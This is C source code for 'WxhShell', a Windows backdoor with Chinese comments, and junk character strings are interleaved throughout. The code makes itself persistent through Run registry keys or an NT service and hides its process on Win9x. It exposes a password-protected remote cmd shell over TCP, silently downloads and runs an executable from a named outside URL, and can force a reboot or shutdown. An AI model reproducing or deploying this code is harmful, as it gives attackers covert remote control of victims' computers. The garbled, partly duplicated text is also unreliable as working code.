HANDLE hProcess; KDODUohC PROCESS_BASIC_INFORMATION pbi; z[q#Dw PfRe)JuB HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); gLyE,1Z}u if(NULL == hInst ) return 0; :QV-! S?k G|y g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); V"T48~Ue g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); iVg3=R)[1 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _RHB ^y;- ?'dsiA[ if (!NtQueryInformationProcess) return 0; Hmi]qK[F 0+]ol:i hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0A}'@N@G) if(!hProcess) return 0; -t:~d: ~x:B@Ow if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; BmP!/i_ CQ`$' oy?W CloseHandle(hProcess); OcBKn=8 4*K~6Vh hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); C{r Sq if(hProcess==NULL) return 0; bCv^za]P6 $i^#KZ}-WK HMODULE hMod; |@a.dgz, char procName[255]; ^HYrJr$y unsigned long cbNeeded; e95x,|.-_ m|}};8 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 91
] "D;NN |N{?LKR
% CloseHandle(hProcess); yMQZulCWE -/k;VT| if(strstr(procName,"services")) return 1; // 以服务启动 @.PVUP iL%Q@!ka return 0; // 注册表启动 ]Ywj@-*q } 01 vEt 9&>)4HNd? // 主模块 &K1\" int StartWxhshell(LPSTR lpCmdLine) eq|G\XJ { w _*|u SOCKET wsl; $<y10DfO BOOL val=TRUE; $!(J4v=X int port=0; VeJM=s.y7 struct sockaddr_in door; 7(q EHZEr Kn
WjP21 if(wscfg.ws_autoins) Install(); zSpL^:~ 1qR[&=/ port=atoi(lpCmdLine); 'q#$^='o ~F</s. if(port<=0) port=wscfg.ws_port; TTJFF\$? X"S-f;b# WSADATA data; aetK<9L$ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #~
:j< =o 63J_u-o if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;
KKfC^g setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Lq&;`)BJ door.sin_family = AF_INET; d:U2b"k=/u door.sin_addr.s_addr = inet_addr("127.0.0.1"); h\jV@g$ door.sin_port = htons(port); "kE$2Kg /``4!jU if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ddf7wszW closesocket(wsl); sd@JQ%O return 1; y%y F34 } @AXRKYQ{t G lz0`z if(listen(wsl,2) == INVALID_SOCKET) { =~OH.=9\ closesocket(wsl); 4`x.d return 1; r[>=iim } 'u\my Wxhshell(wsl); ^yO+-A2zC WSACleanup(); v4?qI >/ k/"^W.B aj return 0; 's.cwB: # mSw$?
> } #E[{ ewo1^> // 以NT服务方式启动 ?0v(_ v VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $.a4Og2 { H`js1b1n DWORD status = 0; i\2d1Z DWORD specificError = 0xfffffff; e?Pzhha ,rvw E serviceStatus.dwServiceType = SERVICE_WIN32; B74L/h serviceStatus.dwCurrentState = SERVICE_START_PENDING; b(hnou S serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; SJYy,F],V" serviceStatus.dwWin32ExitCode = 0; : ryE`EhB serviceStatus.dwServiceSpecificExitCode = 0; r%M.rYLG{ serviceStatus.dwCheckPoint = 0; SDdefB serviceStatus.dwWaitHint = 0; Ueq*R(9> `/zx2Tkk hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); QAp+LSm if (hServiceStatusHandle==0) return; =}:9y6QR. C~16Jj:v status = GetLastError(); *W'F6Hpu if (status!=NO_ERROR) mN>7vJ { y"|QY!fK serviceStatus.dwCurrentState = SERVICE_STOPPED; uXs.7+f serviceStatus.dwCheckPoint = 0; C'HW`rh.^ serviceStatus.dwWaitHint = 0; '6^20rj serviceStatus.dwWin32ExitCode = status;
:Hk:Goo2 serviceStatus.dwServiceSpecificExitCode = specificError; h0YIPB SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0K\Xxo.= return; N5 BC<pu } <A"T_Rk '=|2, H] serviceStatus.dwCurrentState = SERVICE_RUNNING; ?\GILB, serviceStatus.dwCheckPoint = 0; _JlbVe[< serviceStatus.dwWaitHint = 0; /~w!7n<7 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); W/(D"[:l% } >900I4]I YCJ6an // 处理NT服务事件,比如:启动、停止 4!'1o`8vs VOID WINAPI NTServiceHandler(DWORD fdwControl) G_GPnKdd { sSisO?F!Z switch(fdwControl) t>D|1E" { Y\7>>? case SERVICE_CONTROL_STOP: <h(KIY9T serviceStatus.dwWin32ExitCode = 0; V SJGp` serviceStatus.dwCurrentState = SERVICE_STOPPED; 7Ao9MF- serviceStatus.dwCheckPoint = 0; . ZuRH_pI serviceStatus.dwWaitHint = 0; {K\l3_=5qb { R,mOV8y"W[ SetServiceStatus(hServiceStatusHandle, &serviceStatus); X?,ly3, } ` ZO#n return; c/l%:!A case SERVICE_CONTROL_PAUSE: r-M:YB serviceStatus.dwCurrentState = SERVICE_PAUSED; ZLsfF
=/G break; pmm?Fq!s= case SERVICE_CONTROL_CONTINUE: gB4&pPN serviceStatus.dwCurrentState = SERVICE_RUNNING; 4uQ\JD(*Eu break; dGxk
ql case SERVICE_CONTROL_INTERROGATE: @Q!Jzw#B break; wul$lJ?tE }; %+\ PN SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?C('
z7 } ,EkzBVgo H .F-mm // 标准应用程序主函数 qJjXN+/D int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ws"{Y+L { D?+\"lI iD*%' #u // 获取操作系统版本 *&WkorByW OsIsNt=GetOsVer(); $]V,H" GetModuleFileName(NULL,ExeFile,MAX_PATH); c$Vu/dgx RJpH1XQ
j // 从命令行安装
;E Z5/"T if(strpbrk(lpCmdLine,"iI")) Install(); IM.sW'E )-98pp7~BB // 下载执行文件 8Ld`$_E if(wscfg.ws_downexe) { U_s3)/' if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ``;.Oy6jS WinExec(wscfg.ws_filenam,SW_HIDE); a`c#-
je } yyp0GV.x $w,?%i97 if(!OsIsNt) { n$2IaE;v // 如果时win9x,隐藏进程并且设置为注册表启动 0c2O'&$au HideProc(); k|C~qe3E StartWxhshell(lpCmdLine); 9v\x&h } bQU{)W else U2v;[ >=] if(StartFromService()) l ga%U~ // 以服务方式启动 ^Rr!YnEN StartServiceCtrlDispatcher(DispatchTable); RIhu9W else [Lck55V+Q // 普通方式启动 /{)}y StartWxhshell(lpCmdLine); a0wSXd sj9j47y return 0; PK C}!>2 } csh@C
ckC8 |`T$Iq U46qpb7 u+5&^"72, ===========================================
kM:Z(Z7$ ,9A1p06 HZINsIm!? ;;4>vF#* PO*;V<^ d}RU-uiW " AvmI<U c)*,">$# #include <stdio.h> V4#b W #include <string.h> T!f+H?6 #include <windows.h> *VUD!`F #include <winsock2.h> Vn=K5nm #include <winsvc.h> 539fB, #include <urlmon.h> w"Q/ 6#!K x?"+Or.h #pragma comment (lib, "Ws2_32.lib") n 3eLIA{ #pragma comment (lib, "urlmon.lib") [Qw BSq8) N9dx^+\ #define MAX_USER 100 // 最大客户端连接数 La2f]+sV #define BUF_SOCK 200 // sock buffer 9ZD>_a #define KEY_BUFF 255 // 输入 buffer }5Zmc6S{ #+"1">l #define REBOOT 0 // 重启 lcX'n8/3 #define SHUTDOWN 1 // 关机 We`6# \Z X
K^ 5f
#define DEF_PORT 5000 // 监听端口 EXF|;@-" APJVD- #define REG_LEN 16 // 注册表键长度 W"
i3:r #define SVC_LEN 80 // NT服务名长度 B*@0l: .)g7s? K // 从dll定义API Fv} Uq\v[ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); z%q)}$O typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #?h-<KQQ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); b Y2:g ) typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1F'x$~ZI
O`^dy7>{U // wxhshell配置信息 ;u?L>(b struct WSCFG { 9dO. ,U*` int ws_port; // 监听端口 5M&<tj/[a0 char ws_passstr[REG_LEN]; // 口令 jmBsPSGIC int ws_autoins; // 安装标记, 1=yes 0=no LOEiV char ws_regname[REG_LEN]; // 注册表键名 ]<BT+6L char ws_svcname[REG_LEN]; // 服务名 &5y|Q? char ws_svcdisp[SVC_LEN]; // 服务显示名 sTu]C +A char ws_svcdesc[SVC_LEN]; // 服务描述信息 3Viz0I<% char ws_passmsg[SVC_LEN]; // 密码输入提示信息 GK`U<.[c int ws_downexe; // 下载执行标记, 1=yes 0=no j,79G^/YG char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" vnx+1T char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <{cf'"O7 ) r>lo@e0G }; (:>Sh0. Tg@:mw5 // default Wxhshell configuration veAdk9 struct WSCFG wscfg={DEF_PORT, ,Ma%"cWVC "xuhuanlingzhe", tiPZ.a~k 1, q\G7T{t$. "Wxhshell", a_\t(U "Wxhshell", LlcH#L$ "WxhShell Service", -`CE; "Wrsky Windows CmdShell Service", b?j\YX[e "Please Input Your Password: ", W.(Q
u-AE( 1, i<M
F8$ "http://www.wrsky.com/wxhshell.exe", w\1K.j=>|N "Wxhshell.exe" SQ057V>'= }; HP,{/ $i: XC!Y {lp // 消息定义模块 !8I80:e_~ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; W+i&!' char *msg_ws_prompt="\n\r? for help\n\r#>"; iBk1QRdn char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; gLwrYG7@ char *msg_ws_ext="\n\rExit."; &3|l4R\ char *msg_ws_end="\n\rQuit."; ! JauMR char *msg_ws_boot="\n\rReboot..."; /], 9N char *msg_ws_poff="\n\rShutdown..."; hO2W!68 char *msg_ws_down="\n\rSave to "; BUUc9&f3o TR9dpt+T char *msg_ws_err="\n\rErr!"; Eih6?Lpu char *msg_ws_ok="\n\rOK!"; ;0o%
hx a(AYY<g char ExeFile[MAX_PATH]; $"g'C8 int nUser = 0; l\37/Z HANDLE handles[MAX_USER]; EGzlRSgO int OsIsNt; Prrz> s;#,c( SERVICE_STATUS serviceStatus; t{e}3}LEd SERVICE_STATUS_HANDLE hServiceStatusHandle; qb$M.-\ne :Q}Zb,32 // 函数声明 ~!P&LZ int Install(void); C8O<fwNM
int Uninstall(void); T~
P<Gq}, int DownloadFile(char *sURL, SOCKET wsh); C6qGCzlG` int Boot(int flag); _adW>-wQ!d void HideProc(void); UlPhW~F) int GetOsVer(void); v,Z?pYYo int Wxhshell(SOCKET wsl); M63t4; 0A void TalkWithClient(void *cs); Ap> H-/C int CmdShell(SOCKET sock); Q"K`~QF" int StartFromService(void); sj&1I.@,> int StartWxhshell(LPSTR lpCmdLine); Oo/@A_JO@ _e " VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); AG|:mQO VOID WINAPI NTServiceHandler( DWORD fdwControl ); *9US>m Vy cvC 7#i[G // 数据结构和表定义 'VV"$`Fu" SERVICE_TABLE_ENTRY DispatchTable[] = >VJ"e` { ^*F'[!. p {wscfg.ws_svcname, NTServiceMain}, _sQhD i {NULL, NULL} v7<r-<I[ }; QzY5S0 *t`=1Ioj // 自我安装 eC_i]q&o| int Install(void) vBV_aB1{ { 2+yti,s+/ char svExeFile[MAX_PATH]; hLaQ[9 HKEY key; n`D-?]* strcpy(svExeFile,ExeFile); gRwRhA/ 7)BK&kpVr // 如果是win9x系统,修改注册表设为自启动 7! ~)a if(!OsIsNt) { |N|[E5Cn if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !T.yv5ge' RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OpmPw4?} RegCloseKey(key); V]/$ dJ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T+>W(w
i RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pwl7aC+6d RegCloseKey(key); B-wF1!Jv return 0; ,qIut|C* } " ,]A., } >[<f\BN| } Vg7BK% else { X]s="^ fz rH}^ // 如果是NT以上系统,安装为系统服务 HFX,EE SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }ok'd=M if (schSCManager!=0) q)N^ { ?Skv2!X| SC_HANDLE schService = CreateService >iI_bcqF ( X3l6b+p schSCManager, Y r8gKhv W wscfg.ws_svcname, `m\ ?gsw7 wscfg.ws_svcdisp, @4>?Y=# SERVICE_ALL_ACCESS, A s8IjGNs{ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , k>#-NPU$ SERVICE_AUTO_START, uk3PoB^> SERVICE_ERROR_NORMAL, b7HT<$Wg svExeFile, ht*;,[ea NULL, \j0016; NULL, O*9d[jw[ NULL, dl+c+w" NULL, LHs^Xo18 NULL $Q`\- ); X`7O%HiX/` if (schService!=0) 6\m'MV`R! { uy([>8uu CloseServiceHandle(schService); c CloseServiceHandle(schSCManager); UbP$WIrq strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); o'ZW strcat(svExeFile,wscfg.ws_svcname); DK<}q1xi if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
QLZ%m $Z RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1Ch0O__2L RegCloseKey(key); 6}:(m#+ return 0; `LJ.NY pP } P]4@|u;=6[ } ]"i^VVw CloseServiceHandle(schSCManager); VKy3tW/_& } dDqT#N?Y } F#|mN0op $~T|v7Y% return 1; 6W)#FO` } #ihHAiy3 E\VKlu4 // 自我卸载 ||#+ ^p7G int Uninstall(void) NZuylQ)0 { RYM[{]4b5F HKEY key; BsYJIKfW E>kgEfzxP if(!OsIsNt) { 4x" je if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #G("Oh RegDeleteValue(key,wscfg.ws_regname); }QJ6"s
RegCloseKey(key); !8o;~PPVl if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @Cl1G RegDeleteValue(key,wscfg.ws_regname); MQVEO5 RegCloseKey(key); ,sn
9&E return 0; O_Z } ^/7Y3n!|3 } u@kr;^m } y&2O)z!B else { CjU?3Ag \C`2z]V% SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); z_87;y;= if (schSCManager!=0) `YK#m4gc { / KxZ+Ww>v SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (&qjY
I if (schService!=0) 86~q pN { <s5s<q2 if(DeleteService(schService)!=0) { "XKd#ncP CloseServiceHandle(schService); |$c~Jq CloseServiceHandle(schSCManager); sT>l ?L return 0; rq^VOK|L } t<znz6 CloseServiceHandle(schService); 01o,9_|FL } "ax"k0 CloseServiceHandle(schSCManager); >('Z9<|r: } Ve4@^Jy; } ` MXGEJF C8
"FTH' return 1; r~T3Ieb } E7|P\^}m(f {_]<mw d // 从指定url下载文件 -\}Ix> int DownloadFile(char *sURL, SOCKET wsh) \_3#%%z { 4 UnN~ HRESULT hr; 6q~*\KRk char seps[]= "/"; /7Ft1f char *token; &(rR)cG char *file; K?acRi char myURL[MAX_PATH]; _u8d`7$*% char myFILE[MAX_PATH]; w-?Cg8bq< GsC4ty strcpy(myURL,sURL); f}+8m .g2 token=strtok(myURL,seps); [^A>hs* while(token!=NULL) r#/Bz5Jb* { |%5nV=&\ file=token; zNJ-JIo% token=strtok(NULL,seps); -LEpT$v| } x|<89o
L &!O~ f GetCurrentDirectory(MAX_PATH,myFILE); y7Y g$)sL strcat(myFILE, "\\"); ;>B06v strcat(myFILE, file); 2?\L#=<F send(wsh,myFILE,strlen(myFILE),0); #BX^"J{~ send(wsh,"...",3,0); }
OAH/BW hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1U~yu& if(hr==S_OK) /S&8%fb return 0; kK$*,]iCp else W1p5F\ wt return 1; \x+ "1 ^_pJEX } M]M(E) *5 A0 1D-) // 系统电源模块 K^+}__;] int Boot(int flag) UJ6zgsD1b? { M[,G#GO HANDLE hToken; Z;nUS,?om TOKEN_PRIVILEGES tkp; P0XVR_TJf dNgjM
Q if(OsIsNt) { Blnc y OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); f/RDo4 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #~`]eM5`J tkp.PrivilegeCount = 1; N3rQ]HZiP tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Z7Xic5PI{4 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {>R'IjFc if(flag==REBOOT) { \Yd
0oe82 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) < .B^\X$ return 0; (k&r^V/= } ,?zOJ,wl else { &u7oa if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;m cu(J return 0; 3WQ"3^G } KHJk}]K } ![a~y`<K, else { Z* L{; if(flag==REBOOT) { <tp#KZE if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }g|)+V\A return 0; ;IYH5sG{ } yCOIv!/zy else { nH% 1lD?: if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) zS+_6s return 0; &i%1\o } aj)?P
} h1 (MvEt %1jApCJ return 1; 9 ?~Y } -*r]9f6x {-?8r> // win9x进程隐藏模块 wz(D
}N5 void HideProc(void) :[ AP^ { ]h6mJ{k I_h{n{,sr HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;&%G)f if ( hKernel != NULL ) :u$+lq { 5};$>47m pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); r9d dVD ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
#RA3 T[A FreeLibrary(hKernel); }475c{ } }lzN)e <7%4= return; Y?>us } w(xRL#% "Nn+Zw43 // 获取操作系统版本 ,$qqHSd1M int GetOsVer(void) w>W`8P_b@ { %g<J"/ OSVERSIONINFO winfo; :<$IGzw}. winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0fd\R_"d. GetVersionEx(&winfo); "<J%@ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *(4TasQu return 1; ]O;Hlty(g else A|esVUo<3^ return 0; BOQeP/> } GK/Q]}Q8pZ u70-HFI@ // 客户端句柄模块 *KXg;777 int Wxhshell(SOCKET wsl) Twj?SV { ;I+"MY7D SOCKET wsh; (BA2
struct sockaddr_in client; {&Bpf
K;`) DWORD myID; >Lo!8Hen Q:x:k+O- while(nUser<MAX_USER) +H K)A%QI { ;|hEXd?b int nSize=sizeof(client); f2#9E+IQ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); BU="BB/[ if(wsh==INVALID_SOCKET) return 1; 4#qjRmt <}E^r_NvD handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Y,bw:vX if(handles[nUser]==0) Qjj:r~l closesocket(wsh); Y"uFlHN&i else V+dfV`*k nUser++; UEq;}4Bo } 8O]U&A@ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); J9LS6~
7 5g-apod return 0; :8_`T$8i4 } 9@yP;{Q -%=StWdb
// 关闭 socket ;!@\|E void CloseIt(SOCKET wsh) afEp4(X~ { @Y>3 -,o,S closesocket(wsh); ]k mOX nUser--; 1>*]jj} ExitThread(0); /S;o2\ } 7F-b/AdVq >:]fN61# // 客户端请求句柄 g[;iVX^1& void TalkWithClient(void *cs) Ar sMqb { r1FE$R~C= J1<fE(X SOCKET wsh=(SOCKET)cs; e![Q1!r char pwd[SVC_LEN]; e76@-fg char cmd[KEY_BUFF]; \i-jME(sN char chr[1]; e>t9\vN#bx int i,j; |Z;wk& vc2xAAQ while (nUser < MAX_USER) { 4C/8hsn 4Uf+t?U9 if(wscfg.ws_passstr) { 6\,^MI if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [6S"iNiyKT //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); SEchF"KJQF //ZeroMemory(pwd,KEY_BUFF); lSyp
k-c i=0; l7{hq}@;cC while(i<SVC_LEN) { !E_uQ?/w]Z +$>ut
r // 设置超时 UKK}$B fd_set FdRead; ~v>w%] struct timeval TimeOut; ,:\2Lf FD_ZERO(&FdRead); ;oFaDTX] FD_SET(wsh,&FdRead); ga^<_;5< TimeOut.tv_sec=8; K=5_jE^e TimeOut.tv_usec=0; N/?MsrZw int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); H5RHA^p| if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,.`^Wx6F *vAOUqX`x if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %yw*!A1 pwd=chr[0]; uWnS<O if(chr[0]==0xd || chr[0]==0xa) { el|t6ZT* pwd=0; b$R>GQ?# break; <M'IRf/D } ^YIOS]d>8# i++; Bhq(bV } ,O~2
R )vU{JY; // 如果是非法用户,关闭 socket ^Js9E if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )ql?} } _&%!4n#> 'c$9[|x send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :ZP3$ Dp send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d}o1 j &yA<R::o while(1) { g?$9~/h :; Lv^ j
l ZeroMemory(cmd,KEY_BUFF); !F<?h e<U 8&UuwZ6i- // 自动支持客户端 telnet标准 &\X;t|
j=0; %|,<\~P while(j<KEY_BUFF) { xRY5[=97 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kx=AX*I cmd[j]=chr[0]; 'j3'n0o if(chr[0]==0xa || chr[0]==0xd) { ppnj.tLz;r cmd[j]=0; bp$jD break; ^r& {V"l] } g^C6"rsnl j++; *tO<wp& } *(scSC> V]O
:;(W_ // 下载文件 >Qx#2x+ if(strstr(cmd,"http://")) { LuqaGy}>- send(wsh,msg_ws_down,strlen(msg_ws_down),0); " /'=gE if(DownloadFile(cmd,wsh)) Kmnr}Lp9 send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~+np7 else "QF083$ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >eTlew<5 } % KA/ else { X2uX+}h*tA u
.2sB6} switch(cmd[0]) { 19.cf3Dh qc6IH9i` // 帮助 #~x5}8 case '?': { WNb$2q= send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);
m#nxw break; 4PWr;& } 0uz"}v) // 安装 C P#79=1 case 'i': { jVINc=o if(Install()) 3I5WDuq send(wsh,msg_ws_err,strlen(msg_ws_err),0); #I?iR3u else vs. uq send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~qS/90, break; L)}V[j# } hQm4R]a // 卸载 >u)ZT case 'r': { $)3PF if(Uninstall()) WO-WoPO send(wsh,msg_ws_err,strlen(msg_ws_err),0); q&E5[/VK: else Qm#i"jvV send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f4S@lyYF break; u =kSs } *$(CiyF! // 显示 wxhshell 所在路径 kkBU<L2 case 'p': { H040-Q;S' char svExeFile[MAX_PATH]; CLfb`rF strcpy(svExeFile,"\n\r"); {0e{!v strcat(svExeFile,ExeFile); C/waH[Yzan send(wsh,svExeFile,strlen(svExeFile),0); A{2$hKqHi break; DH9?2)aR } +&,\ J9'B // 重启 |V\.[F2Fe case 'b': { 5"am>$rh send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [\9(@Bx if(Boot(REBOOT)) 2w|u)ow) send(wsh,msg_ws_err,strlen(msg_ws_err),0);
sGls^J) else { P$/A! r closesocket(wsh); TDIOK ExitThread(0); [|n-x3h } s| r7DdI break; W 'a~pB1I } XOg(k(&T // 关机 ?gwbg* case 'd': { kQd[E-b7 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); MD4 j~q\g if(Boot(SHUTDOWN)) 0^.4eX:E_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); q;../h]Ne else { }r~l72
` closesocket(wsh); Q(5:~**I ExitThread(0); ,DuZMGg } bC>>^?U1m break; J5p!-N`NS } gpK_0?% // 获取shell 3ZL7N$N}7 case 's': { _K}_h\e. CmdShell(wsh); y?z _^ppj closesocket(wsh); 9=~H6(m> ExitThread(0); 8^/Ek<Qb| break; k\&IFSp } h"1"h. // 退出 qVD!/;l case 'x': { a^\- }4yR send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @52=3 CloseIt(wsh); Be>c)90bO_ break; Na 9l# } VWA -?%r // 离开 PP[)h,ZL* case 'q': { ooU Sb send(wsh,msg_ws_end,strlen(msg_ws_end),0); %{~mk[d3 closesocket(wsh); ?sf2h:\N WSACleanup(); ds$ \vSd exit(1); wdcryejCkr break; E}b>7L&w } .`Old{< } E0)mI)RW. } o(X90X ;TV'PJ // 提示信息 ^W[B[Y<k if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \B>[je-d } kL PO+lg+ } \|pK Z6*s *4hOCQ[ return; RZ)vU'@kx } @[>+Dzn[6 V>>) 7E:Q // shell模块句柄 J!A/r< int CmdShell(SOCKET sock) ^{fi^lL= { m['v3m: STARTUPINFO si; ^E<~zO=Z ZeroMemory(&si,sizeof(si)); _]=TFz2O si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (J^Lqh_ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; B=q)}aWc PROCESS_INFORMATION ProcessInfo; iUxDEt[t* char cmdline[]="cmd"; >d27[% CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); N}}PlGp$ return 0; xu"94y+ } 1fO2)$Y P$(WdVG // 自身启动模式 CFkW@\] int StartFromService(void) zqvRkMWc M { "S B%02 typedef struct _
r^90 { A4#3O5kij DWORD ExitStatus; G&%nF4 DWORD PebBaseAddress; GLaZN4` DWORD AffinityMask; Y>78h2AU DWORD BasePriority; x
tYV" ULONG UniqueProcessId; B~V<n&< ULONG InheritedFromUniqueProcessId; ;9p#xW6 } PROCESS_BASIC_INFORMATION; j1;_w qL%.5OCn( PROCNTQSIP NtQueryInformationProcess; M\\e e3Ih X ]pR,\B static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;"d ,~nLn static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; XQ0#0<
vB{;N
HANDLE hProcess; qEK4I}Q-= PROCESS_BASIC_INFORMATION pbi; y"|K
|QT >}dTO/ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #514a(6 if(NULL == hInst ) return 0; <K DH p@cfY]<7 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5T$9'5V7 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ibZt2@GB)I NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &jXca| wAR JAGi""3HG if (!NtQueryInformationProcess) return 0; ;xW8Z<\- >G-8FL hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _XH4;uGg if(!hProcess) return 0; R/ALR ^f^-.X if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >u9id>+ iX8h2l CloseHandle(hProcess); J< |